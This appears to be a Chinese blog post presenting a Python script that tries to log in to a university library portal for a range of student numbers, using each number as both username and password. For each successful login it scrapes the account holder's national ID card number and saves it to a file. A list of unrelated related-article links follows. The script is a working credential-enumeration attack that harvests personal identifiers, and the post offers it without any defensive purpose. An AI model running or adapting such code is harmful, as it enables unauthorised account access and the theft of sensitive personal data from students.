import urllib.request
import urllib.parse
import http.cookiejar
import re lib_login = 'http://xxx.edu.cn/reader/redr_verify.php' def get_info(number, passwd, myfile):
cj = http.cookiejar.CookieJar()
pro = urllib.request.HTTPCookieProcessor(cj)
opener = urllib.request.build_opener(pro) postDict = {
'number':str(number),
'passwd':str(passwd),
'select':'cert_no',
'returnUrl':''
}
postData = urllib.parse.urlencode(postDict).encode()
op = opener.open(lib_login, postData)
data = op.read().decode()
log_ok = False
is_login = re.compile('<font color="blue">.*</font>')
for x in is_login.findall(data):
login_ok = re.compile('<[^>]+>')
login_ok = login_ok.sub('', x)
if login_ok != '':
log_ok = True
else:
log_ok = False
if log_ok:
person_id = re.compile('身份证号: </span>\d*</TD>')
for x in person_id.findall(data):
usr_psw = re.compile('<[^>]+>')
usr_psw = usr_psw.sub('', x)
usr_psw += '\n'
number = str(number)
number += ' '
myfile.write(number)
myfile.write(usr_psw)
myfile.flush()
print(number + 'OK')
print(usr_psw) f = open('wifi2013.txt', 'a')
for i in range(2013002734, 2013003980):
get_info(i, i, f)
f.close()

  此代码逻辑简单缺乏异常的处理,实在是刚入门Python的很差的代码,后续可能把它继续拿出来优化

Python 获取学校图书馆OAPC账号对应的身份证号码的更多相关文章

  1. 使用shell/python获取hostname/fqdn释疑

    一直以来被Linux的hostname和fqdn(Fully Qualified Domain Name)困惑了好久,今天专门抽时间把它们的使用细节弄清了. 一.设置hostname/fqdn 在Li ...

  2. python 获取日期

    转载   原文:python 获取日期 作者:m4774411wang python 获取日期我们需要用到time模块,比如time.strftime方法 time.strftime('%Y-%m-% ...

  3. python获取字母在字母表对应位置的几种方法及性能对比较

    python获取字母在字母表对应位置的几种方法及性能对比较 某些情况下要求我们查出字母在字母表中的顺序,A = 1,B = 2 , C = 3, 以此类推,比如这道题目 https://project ...

  4. python获取文件大小

    python获取文件大小 # !/usr/bin/python3.4 # -*- coding: utf-8 -*- import os # 字节bytes转化kb\m\g def formatSiz ...

  5. python 获取一个列表有多少连续列表

    python 获取一个列表有多少连续列表 例如 有列表 [1,2,3] 那么连续列表就是 [1,2],[2,3],[1,2,3] 程序实现如下: 运行结果:

  6. [python实用代码片段]python获取当前时间的前一天,前一周,前一个月

    python获取当前时间的前一天,前一周,前一个月. 实用python的datetime.timedelta方法,避免了有的月份是30和31等不同的情况. 获取前一个月的时间,方法实现:首先datet ...

  7. Python获取目录、文件的注意事项

    Python获取指定路径下的子目录和文件有两种方法: os.listdir(dir)和os.walk(dir),前者列出dir目录下的所有直接子目录和文件的名称(均不包含完整路径),如 >> ...

  8. Python 获取 网卡 MAC 地址

    /*********************************************************************** * Python 获取 网卡 MAC 地址 * 说明: ...

  9. python 获取 mac 地址 的代码

    python 获取 mac 地址 的例子,有需要的朋友可以参考下. #!/bin/python import os import re def GetMac():     if os.name ==  ...

随机推荐

  1. Idea基本设置

    1.idea 如何更改比编辑器文本字体和大小 换上了intellij idea之后,第一件事就是想要改变下文字字体,因为在我这个27寸的2k分辨率的屏幕上,文字显然太小了. intellij idea ...

  2. redmine添加自定义属性

    使用redmine创建问题的时候,可能会发现没有我们需要的属性,这时候我们可以添加自定义的属性. 以添加满意度属性为例: 1.进入redmine管理界面,选择自定义属性 2.选择问题下面的新建自定义属 ...

  3. PeopleSoft Related Language Records

    As we all know, PeopleSoft is capable of maintaining application data in multiple languages within t ...

  4. decode行转列,case when,

    1.行转列 转之前:

  5. 高可用工具keepalived学习笔记

    keepalived完全遵守VRRP协议包括竞选机制,至于VRRP是什么这里不说了参考http://wenku.baidu.com/link? url=1UbkmHuQlGECgC90P7zF6u2x ...

  6. php中empty(), is_null(), isset()函数区别

    empty(), is_null(), isset()真值表(区别) 我们先来看看这3个函数的功能描述 www.111cn.net isset 判断变量是否已存在,如果变量存在则返回 TRUE,否则返 ...

  7. Java实现猜数游戏

    利用Math.random()方法产生1~100的随机整数,利用JOptionPane.showInputDialog()方法产生一个输入对话框,用户可以输入所猜的数.若所猜的数比随机生成的数大,则显 ...

  8. 有趣的EditView为空时的抖动效果(用户名和密码)--第三方开源--ClearEditText

    ClearEditText在github上的链接地址是:https://github.com/zhangphil/ClearEditText 用法十分简单,在布局中使用ClearEditText,在J ...

  9. Mongodb 3.0 创建用户

    MongoDB 3.0 安全权限访问控制,在添加用户上面3.0版本和之前的版本有很大的区别,这里就说明下3.0的添加用户的方法. 创建第一个用户(该用户需要有grant权限,即:账号管理的授权权限) ...

  10. linuxok6410的I2C驱动分析---用户态驱动

    3  i2c-dev 3.1 概述 之前在介绍I2C子系统时,提到过使用i2c-dev.c文件在应用程序中实现我们的I2C从设备驱动.不过,它实现的是一个虚拟,临时的i2c_client,随着设备文件 ...